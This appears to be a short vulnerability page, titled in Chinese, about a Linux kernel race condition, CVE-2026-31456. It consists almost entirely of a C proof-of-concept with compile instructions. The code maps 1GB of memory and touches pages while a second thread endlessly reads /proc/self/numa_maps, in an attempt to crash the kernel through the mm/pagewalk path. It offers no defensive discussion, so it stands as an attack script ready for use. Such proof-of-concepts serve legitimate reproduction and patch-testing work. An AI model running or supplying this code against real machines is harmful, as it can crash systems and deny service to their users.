CVE-2026-31456 Linux内核竞态条件漏洞

/* * PoC for CVE-2026-31456 * Triggering race condition in mm/pagewalk by reading numa_maps * while stressing memory allocation. * This attempts to reproduce the crash by creating a large mapping * and concurrently reading /proc/self/numa_maps. * Compilation: gcc -o poc CVE-2026-31456.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <string.h> void* trigger_page_walk(void* arg) { char buffer[256]; int fd; // Continuously read numa_maps to trigger walk_page_range // This exercises the vulnerable path walk_pud_range while(1) { fd = open("/proc/self/numa_maps", O_RDONLY); if (fd >= 0) { while (read(fd, buffer, sizeof(buffer)) > 0); close(fd); } } return NULL; } int main() { pthread_t t1; size_t len = 1UL << 30; // Allocate 1GB to encourage PUD usage void *addr; volatile char *p; printf("[+] Starting PoC for CVE-2026-31456\n"); // Create a large anonymous mapping addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { perror("mmap failed"); return 1; } printf("[+] Mapped memory at %p\n", addr); // Start thread to stress the page walk mechanism pthread_create(&t1, NULL, trigger_page_walk, NULL); // Main thread touches pages to potentially trigger refaults/splits // Note: Reproducing the exact VFIO-PCI race might require specific hardware, // but this stresses the mm/pagewalk logic. while(1) { p = (char *)addr; // Touch start and end of the region p[0] = 1; p[len-4096] = 1; usleep(1000); } return 0; }